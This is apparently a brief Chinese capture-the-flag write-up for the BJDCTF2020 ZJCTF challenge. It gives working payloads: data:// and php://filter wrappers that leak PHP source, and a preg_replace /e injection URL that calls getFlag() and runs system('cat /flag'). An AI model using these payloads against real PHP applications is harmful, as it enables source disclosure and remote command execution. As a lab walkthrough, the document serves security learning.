[BJDCTF2020]ZJCTF,不过如此
先是一个代码审计和之前一个反序列化题目很像,就是一个伪协议的利用
构造payload:
1 | ?text=data:text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php |
得到源码:
1 |
|
然后这里涉及到preg_replace() /e模式的漏洞 将用于替换的部分当作php代码执行 参考:https://xz.aliyun.com/t/2557
这里\\1 其实就是 \1 第一个 \ 用于转义了 那么结果就是\1 在这里是反向引用 由于我这里没搞太明白
这类题直接用模板答案就行\S*=${命令执行} 大佬总结的很全
思路就是调用getFlag()函数 然后cmd= 命令执行
/next.php?\S*=${getFlag()}&cmd=system('cat /flag'); 注意是在next.php 下提交get传参

这里foreach搭配$_GET有特殊的用法 注意这里不是$_GET[]
本地搭了一个环境测试了一下

简单说就是形如a=b的形式变量名和值分成两个变量来使用 蛮神奇的